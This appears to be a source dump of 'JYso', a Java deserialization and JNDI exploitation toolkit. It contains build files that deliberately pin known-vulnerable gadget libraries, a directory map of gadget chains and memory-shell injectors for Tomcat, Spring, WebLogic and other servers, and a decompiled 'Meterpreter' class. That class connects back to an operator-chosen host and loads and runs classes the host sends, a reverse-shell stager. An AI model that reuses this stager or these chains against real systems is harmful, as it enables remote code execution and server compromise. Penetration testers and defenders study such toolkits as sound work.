api libs.xerces.xercesimpl
api libs.com.fasterxml.jackson.core.jackson.databind
api libs.com.teradata.jdbc.terajdbc
api libs.jboss.jboss.serialization
api libs.org.apache.wicket.wicket.util
api libs.com.vaadin.vaadin.server
api libs.org.apache.myfaces.core.myfaces.impl
api libs.rhino.js
api libs.rome.rome
api libs.com.alibaba.fastjson
api libs.com.alibaba.fastjson2.fastjson2
api libs.org.jenkins.ci.main.remoting
api libs.org.jboss.weld.weld.core
api libs.org.jboss.remoting.jboss.remoting
api libs.org.jboss.remotingjmx.remoting.jmx
api libs.org.jboss.interceptor.jboss.interceptor.core
api libs.org.jboss.interceptor.jboss.interceptor.spi
api libs.org.python.jython.standalone
api libs.org.hibernate.hibernate.core
api libs.org.fusesource.jansi.jansi
api libs.commons.cli.commons.cli
api libs.org.apache.commons.commons.lang3
api libs.org.apache.logging.log4j.log4j.core
api libs.org.springframework.spring.core
api libs.org.springframework.spring.beans
api libs.org.springframework.spring.web
api libs.org.springframework.spring.oxm
api libs.org.springframework.spring.tx
api libs.org.springframework.spring.jdbc
api libs.org.springframework.spring.webmvc
api libs.org.springframework.spring.aop
api libs.org.springframework.spring.context.support
api libs.org.springframework.spring.test
api libs.javax.servlet.javax.servlet.api
api libs.com.mchange.c3p0
api libs.commons.collections.commons.collections
api libs.org.apache.commons.commons.collections4
api libs.org.apache.tomcat.embed.tomcat.embed.core
api libs.org.ow2.asm.asm
api libs.com.unboundid.unboundid.ldapsdk
api libs.com.nqzero.permit.reflect
api libs.net.jodah.expiringmap
api libs.org.reflections.reflections
api libs.org.beanshell.bsh
api libs.io.undertow.undertow.core
api libs.io.undertow.undertow.servlet
api libs.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec
api libs.com.beust.jcommander
api libs.org.codehaus.groovy.groovy
api libs.org.apache.commons.commons.text
api libs.org.eclipse.jetty.jetty.ant
api libs.org.apache.maven.plugins.maven.assembly.plugin
api libs.org.apache.click.click.nodeps
api libs.org.clojure.clojure
api libs.cn.hutool.hutool.all
api libs.javax.websocket.javax.websocket.api
api libs.com.caucho.resin
implementation files('libs/jai-core-1.1.3.jar')
implementation files('libs/weblogic-server.jar')
implementation 'org.codehaus.castor:castor-xml:1.4.1'
implementation 'com.cedarsoftware:json-io:4.9.1'
implementation 'org.jyaml:jyaml:1.3'
implementation 'com.esotericsoftware:kryo:4.0.0'
implementation 'commons-configuration:commons-configuration:1.10'
implementation 'com.thoughtworks.xstream:xstream:1.4.9'
implementation 'org.apache.xbean:xbean-naming:4.5'
implementation 'com.rometools:rome:1.7.0'
implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26'
implementation 'commons-beanutils:commons-beanutils:1.9.4'
runtimeOnly libs.org.aspectj.aspectjweaver
compileOnly libs.org.apache.tomcat.tomcat.websocket
}
group = 'org.example'
version = '1.3.5'
description = 'JYso'
java.sourceCompatibility = JavaVersion.VERSION_1_8
publishing {
publications {
maven(MavenPublication) {
from(components.java)
}
}
}
tasks.withType(JavaCompile) {
options.encoding = 'UTF-8'
}
tasks.withType(Javadoc) {
options.encoding = 'UTF-8'
}
compileJava {
options.compilerArgs << '-XDignore.symbol.file'
options.fork = true
options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe'
}
+72
View File
@@ -0,0 +1,72 @@
├─.gradle Gradle构建配置文件
│ ├─8.7
│ │ ├─checksums
│ │ ├─dependencies-accessors
│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
│ │ │ ├─classes
│ │ │ │ └─org
│ │ │ │ └─gradle
│ │ │ │ └─accessors
│ │ │ │ └─dm
│ │ │ └─sources
│ │ │ └─org
│ │ │ └─gradle
│ │ │ └─accessors
│ │ │ └─dm
│ │ ├─executionHistory
│ │ ├─expanded
│ │ ├─fileChanges
│ │ ├─fileHashes
│ │ └─vcsMetadata
│ ├─buildOutputCleanup
│ └─vcs-1
├─.idea IDEA配置信息文件
│ ├─artifacts
│ ├─codeStyles
│ ├─inspectionProfiles
│ └─libraries
├─docs 有关文档
├─gradle
│ └─wrapper
├─libs 第三方jar
└─src
├─main
│ └─java
│ └─com
│ └─qi4l
│ └─jndi
│ ├─controllers JNDI路由逻辑
│ │ └─utils
│ ├─enumtypes
│ ├─exceptions
│ ├─exploit -cp 模式下的漏洞逻辑
│ ├─gadgets 反序列化链
│ │ ├─annotation
│ │ ├─Config
│ │ └─utils
│ │ ├─beanshell
│ │ ├─cc
│ │ ├─clojure
│ │ ├─dirty
│ │ ├─handle
│ │ ├─jdbc
│ │ ├─jre
│ │ └─utf8OverlongEncoding
│ └─template
│ ├─Agent Agent注入逻辑
│ │ └─utli
│ ├─echo 回显类
│ └─memshell 内存shell逻辑
│ ├─BypassNginxCDN
│ ├─jboss
│ ├─jetty
│ ├─resin
│ ├─shell
│ ├─spring
│ ├─struts2
│ ├─tomcat
│ ├─Tomcat_Spring_Jetty
│ ├─weblogic
│ └─Websphere
└─test
└─java
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

+132
View File
@@ -0,0 +1,132 @@
# This file was generated by the Gradle 'init' task.
# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
[versions]
cn-hutool-hutool-all = "5.7.7"
com-alibaba-fastjson = "1.2.83"
com-alibaba-fastjson2-fastjson2 = "2.0.26"
com-beust-jcommander = "1.78"
com-caucho-resin = "4.0.65"
com-fasterxml-jackson-core-jackson-databind = "2.11.3"
com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = "1.0.10"
com-mchange-c3p0 = "0.9.5.5"
com-nqzero-permit-reflect = "0.3"
com-teradata-jdbc-terajdbc = "20.00.00.06"
com-unboundid-unboundid-ldapsdk = "4.0.9"
com-vaadin-vaadin-server = "7.7.14"
commons-cli-commons-cli = "1.5.0"
commons-collections-commons-collections = "3.2.1"
io-projectreactor-reactor-core = "3.4.26"
io-undertow-undertow-core = "2.2.2.Final"
io-undertow-undertow-servlet = "2.2.2.Final"
javax-servlet-javax-servlet-api = "4.0.1"
javax-websocket-javax-websocket-api = "1.1"
jboss-jboss-serialization = "4.2.2.GA"
net-jodah-expiringmap = "0.5.9"
org-apache-click-click-nodeps = "2.3.0"
org-apache-commons-commons-collections4 = "4.0"
org-apache-commons-commons-lang3 = "3.12.0"
org-apache-commons-commons-text = "1.8"
org-apache-logging-log4j-log4j-core = "2.14.1"
org-apache-maven-plugins-maven-assembly-plugin = "3.0.0"
org-apache-myfaces-core-myfaces-impl = "2.2.9"
org-apache-tomcat-embed-tomcat-embed-core = "8.5.58"
org-apache-tomcat-tomcat-websocket = "9.0.62"
org-apache-wicket-wicket-util = "6.23.0"
org-aspectj-aspectjweaver = "1.9.7"
org-beanshell-bsh = "2.0b5"
org-clojure-clojure = "1.8.0"
org-codehaus-groovy-groovy = "2.4.5"
org-eclipse-jetty-jetty-ant = "11.0.7"
org-fusesource-jansi-jansi = "2.4.0"
org-glassfish-tyrus-tyrus-server = "2.0.0"
org-hibernate-hibernate-core = "4.3.11.Final"
org-javassist-javassist = "3.29.2-GA"
org-jboss-interceptor-jboss-interceptor-core = "2.0.0.Final"
org-jboss-interceptor-jboss-interceptor-spi = "2.0.0.Final"
org-jboss-remoting-jboss-remoting = "4.0.19.Final"
org-jboss-remotingjmx-remoting-jmx = "2.0.1.Final"
org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = "1.0.3.Final"
org-jboss-weld-weld-core = "1.1.33.Final"
org-jenkins-ci-main-remoting = "2.55"
org-ow2-asm-asm = "8.0.1"
org-python-jython-standalone = "2.5.2"
org-reflections-reflections = "0.9.10"
org-springframework-spring-aop = "5.2.3.RELEASE"
org-springframework-spring-beans = "5.2.3.RELEASE"
org-springframework-spring-context-support = "5.2.3.RELEASE"
org-springframework-spring-core = "5.2.3.RELEASE"
org-springframework-spring-jdbc = "5.2.3.RELEASE"
org-springframework-spring-oxm = "5.2.3.RELEASE"
org-springframework-spring-test = "5.2.3.RELEASE"
org-springframework-spring-tx = "5.2.3.RELEASE"
org-springframework-spring-web = "5.2.3.RELEASE"
org-springframework-spring-webmvc = "5.2.3.RELEASE"
rhino-js = "1.7R2"
rome-rome = "1.0"
xerces-xercesimpl = "2.12.0"
[libraries]
cn-hutool-hutool-all = { module = "cn.hutool:hutool-all", version.ref = "cn-hutool-hutool-all" }
com-alibaba-fastjson = { module = "com.alibaba:fastjson", version.ref = "com-alibaba-fastjson" }
com-alibaba-fastjson2-fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "com-alibaba-fastjson2-fastjson2" }
com-beust-jcommander = { module = "com.beust:jcommander", version.ref = "com-beust-jcommander" }
com-caucho-resin = { module = "com.caucho:resin", version.ref = "com-caucho-resin" }
com-fasterxml-jackson-core-jackson-databind = { module = "com.fasterxml.jackson.core:jackson-databind", version.ref = "com-fasterxml-jackson-core-jackson-databind" }
com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = { module = "com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc", version.ref = "com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc" }
com-mchange-c3p0 = { module = "com.mchange:c3p0", version.ref = "com-mchange-c3p0" }
com-nqzero-permit-reflect = { module = "com.nqzero:permit-reflect", version.ref = "com-nqzero-permit-reflect" }
com-teradata-jdbc-terajdbc = { module = "com.teradata.jdbc:terajdbc", version.ref = "com-teradata-jdbc-terajdbc" }
com-unboundid-unboundid-ldapsdk = { module = "com.unboundid:unboundid-ldapsdk", version.ref = "com-unboundid-unboundid-ldapsdk" }
com-vaadin-vaadin-server = { module = "com.vaadin:vaadin-server", version.ref = "com-vaadin-vaadin-server" }
commons-cli-commons-cli = { module = "commons-cli:commons-cli", version.ref = "commons-cli-commons-cli" }
commons-collections-commons-collections = { module = "commons-collections:commons-collections", version.ref = "commons-collections-commons-collections" }
io-projectreactor-reactor-core = { module = "io.projectreactor:reactor-core", version.ref = "io-projectreactor-reactor-core" }
io-undertow-undertow-core = { module = "io.undertow:undertow-core", version.ref = "io-undertow-undertow-core" }
io-undertow-undertow-servlet = { module = "io.undertow:undertow-servlet", version.ref = "io-undertow-undertow-servlet" }
javax-servlet-javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-javax-servlet-api" }
javax-websocket-javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-javax-websocket-api" }
jboss-jboss-serialization = { module = "jboss:jboss-serialization", version.ref = "jboss-jboss-serialization" }
net-jodah-expiringmap = { module = "net.jodah:expiringmap", version.ref = "net-jodah-expiringmap" }
org-apache-click-click-nodeps = { module = "org.apache.click:click-nodeps", version.ref = "org-apache-click-click-nodeps" }
org-apache-commons-commons-collections4 = { module = "org.apache.commons:commons-collections4", version.ref = "org-apache-commons-commons-collections4" }
org-apache-commons-commons-lang3 = { module = "org.apache.commons:commons-lang3", version.ref = "org-apache-commons-commons-lang3" }
org-apache-commons-commons-text = { module = "org.apache.commons:commons-text", version.ref = "org-apache-commons-commons-text" }
org-apache-logging-log4j-log4j-core = { module = "org.apache.logging.log4j:log4j-core", version.ref = "org-apache-logging-log4j-log4j-core" }
org-apache-maven-plugins-maven-assembly-plugin = { module = "org.apache.maven.plugins:maven-assembly-plugin", version.ref = "org-apache-maven-plugins-maven-assembly-plugin" }
org-apache-myfaces-core-myfaces-impl = { module = "org.apache.myfaces.core:myfaces-impl", version.ref = "org-apache-myfaces-core-myfaces-impl" }
org-apache-tomcat-embed-tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "org-apache-tomcat-embed-tomcat-embed-core" }
org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" }
org-apache-wicket-wicket-util = { module = "org.apache.wicket:wicket-util", version.ref = "org-apache-wicket-wicket-util" }
org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" }
org-beanshell-bsh = { module = "org.beanshell:bsh", version.ref = "org-beanshell-bsh" }
org-clojure-clojure = { module = "org.clojure:clojure", version.ref = "org-clojure-clojure" }
org-codehaus-groovy-groovy = { module = "org.codehaus.groovy:groovy", version.ref = "org-codehaus-groovy-groovy" }
org-eclipse-jetty-jetty-ant = { module = "org.eclipse.jetty:jetty-ant", version.ref = "org-eclipse-jetty-jetty-ant" }
org-fusesource-jansi-jansi = { module = "org.fusesource.jansi:jansi", version.ref = "org-fusesource-jansi-jansi" }
org-glassfish-tyrus-tyrus-server = { module = "org.glassfish.tyrus:tyrus-server", version.ref = "org-glassfish-tyrus-tyrus-server" }
org-hibernate-hibernate-core = { module = "org.hibernate:hibernate-core", version.ref = "org-hibernate-hibernate-core" }
org-javassist-javassist = { module = "org.javassist:javassist", version.ref = "org-javassist-javassist" }
org-jboss-interceptor-jboss-interceptor-core = { module = "org.jboss.interceptor:jboss-interceptor-core", version.ref = "org-jboss-interceptor-jboss-interceptor-core" }
org-jboss-interceptor-jboss-interceptor-spi = { module = "org.jboss.interceptor:jboss-interceptor-spi", version.ref = "org-jboss-interceptor-jboss-interceptor-spi" }
org-jboss-remoting-jboss-remoting = { module = "org.jboss.remoting:jboss-remoting", version.ref = "org-jboss-remoting-jboss-remoting" }
org-jboss-remotingjmx-remoting-jmx = { module = "org.jboss.remotingjmx:remoting-jmx", version.ref = "org-jboss-remotingjmx-remoting-jmx" }
org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = { module = "org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec", version.ref = "org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec" }
org-jboss-weld-weld-core = { module = "org.jboss.weld:weld-core", version.ref = "org-jboss-weld-weld-core" }
org-jenkins-ci-main-remoting = { module = "org.jenkins-ci.main:remoting", version.ref = "org-jenkins-ci-main-remoting" }
org-ow2-asm-asm = { module = "org.ow2.asm:asm", version.ref = "org-ow2-asm-asm" }
org-python-jython-standalone = { module = "org.python:jython-standalone", version.ref = "org-python-jython-standalone" }
org-reflections-reflections = { module = "org.reflections:reflections", version.ref = "org-reflections-reflections" }
org-springframework-spring-aop = { module = "org.springframework:spring-aop", version.ref = "org-springframework-spring-aop" }
org-springframework-spring-beans = { module = "org.springframework:spring-beans", version.ref = "org-springframework-spring-beans" }
org-springframework-spring-context-support = { module = "org.springframework:spring-context-support", version.ref = "org-springframework-spring-context-support" }
org-springframework-spring-core = { module = "org.springframework:spring-core", version.ref = "org-springframework-spring-core" }
org-springframework-spring-jdbc = { module = "org.springframework:spring-jdbc", version.ref = "org-springframework-spring-jdbc" }
org-springframework-spring-oxm = { module = "org.springframework:spring-oxm", version.ref = "org-springframework-spring-oxm" }
org-springframework-spring-test = { module = "org.springframework:spring-test", version.ref = "org-springframework-spring-test" }
org-springframework-spring-tx = { module = "org.springframework:spring-tx", version.ref = "org-springframework-spring-tx" }
org-springframework-spring-web = { module = "org.springframework:spring-web", version.ref = "org-springframework-spring-web" }
org-springframework-spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "org-springframework-spring-webmvc" }
rhino-js = { module = "rhino:js", version.ref = "rhino-js" }
rome-rome = { module = "rome:rome", version.ref = "rome-rome" }
xerces-xercesimpl = { module = "xerces:xercesImpl", version.ref = "xerces-xercesimpl" }
Binary file not shown.
+7
View File
@@ -0,0 +1,7 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
Vendored
+249
View File
@@ -0,0 +1,249 @@
#!/bin/sh
#
# Copyright © 2015-2021 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-classpath "$CLASSPATH" \
org.gradle.wrapper.GradleWrapperMain \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"
Vendored
+92
View File
@@ -0,0 +1,92 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega
Binary file not shown.
Binary file not shown.
+1
View File
@@ -0,0 +1 @@
rootProject.name = 'JYso'
+138
View File
@@ -0,0 +1,138 @@
/*
* Decompiled with CFR 0.152.
*/
import java.io.DataInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.HashMap;
public class Meterpreter
extends ClassLoader
implements Runnable {
static /* synthetic */ Class class$0;
static /* synthetic */ Class class$1;
static /* synthetic */ Class class$2;
static {
Meterpreter meterpreter = new Meterpreter();
meterpreter.initLhost();
meterpreter.run();
}
public String host;
public String port;
private HashMap parameterMap;
public static void main(String[] args) {
Meterpreter meterpreter = new Meterpreter();
meterpreter.run();
}
public void initLhost() {
this.host = "";
this.port = "";
}
public String toString() {
if (this.host != null && this.port != null) {
Thread thread = new Thread(this);
thread.start();
this.parameterMap.put("result", "ok".getBytes());
} else {
this.parameterMap.put("result", "host or port is null".getBytes());
}
this.parameterMap = null;
return "";
}
public boolean equals(Object paramObject) {
try {
this.parameterMap = (HashMap) paramObject;
this.host = this.get("host");
this.port = this.get("port");
} catch (Exception e) {
return false;
}
return true;
}
public void getShell() throws Exception {
InputStream inputStream1 = null;
OutputStream outputStream = null;
int j = new Integer(this.port);
String str4 = this.host;
Socket socket = null;
if (str4 != null) {
socket = new Socket(str4, j);
}
inputStream1 = socket.getInputStream();
outputStream = socket.getOutputStream();
new Meterpreter().bootstrap(inputStream1, outputStream);
}
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
try {
Class<?> clazz;
DataInputStream dataInputStream = new DataInputStream(paramInputStream);
int i = dataInputStream.readInt();
do {
byte[] arrayOfByte = new byte[i];
dataInputStream.readFully(arrayOfByte);
clazz = this.defineClass(null, arrayOfByte, 0, i);
this.resolveClass(clazz);
} while ((i = dataInputStream.readInt()) > 0);
Object object = clazz.newInstance();
Class[] classArray = new Class[3];
Class<?> clazz2 = class$0;
if (clazz2 == null) {
try {
clazz2 = class$0 = Class.forName("java.io.DataInputStream");
} catch (ClassNotFoundException classNotFoundException) {
throw new NoClassDefFoundError(classNotFoundException.getMessage());
}
}
classArray[0] = clazz2;
Class<?> clazz3 = class$1;
if (clazz3 == null) {
try {
clazz3 = class$1 = Class.forName("java.io.OutputStream");
} catch (ClassNotFoundException classNotFoundException) {
throw new NoClassDefFoundError(classNotFoundException.getMessage());
}
}
classArray[1] = clazz3;
Class<?> clazz4 = class$2;
if (clazz4 == null) {
try {
clazz4 = class$2 = Class.forName("[Ljava.lang.String;");
} catch (ClassNotFoundException classNotFoundException) {
throw new NoClassDefFoundError(classNotFoundException.getMessage());
}
}
classArray[2] = clazz4;
clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""});
} catch (Throwable throwable) {
// empty catch block
}
}
public void run() {
try {
this.getShell();
} catch (Exception exception) {
System.out.println(exception);
// empty catch block
}
}
public String get(String key) {
try {
return new String((byte[]) this.parameterMap.get(key));
} catch (Exception e) {
return null;
}
}
}
+607
View File
@@ -0,0 +1,607 @@
package com.qi4l.JYso;
import cn.hutool.core.io.file.FileReader;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Cache;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.DnslogTemplate;
import com.qi4l.JYso.template.ReverseShellTemplate;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.lang3.reflect.FieldUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipEntry;
import static org.fusesource.jansi.Ansi.ansi;
public class HTTPServer {
//获取根目录路径
public static String cwd = System.getProperty("user.dir");
public static void start() throws IOException {
HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
httpServer.createContext("/", new HttpHandler() {
@Override
public void handle(HttpExchange httpExchange) {
try {
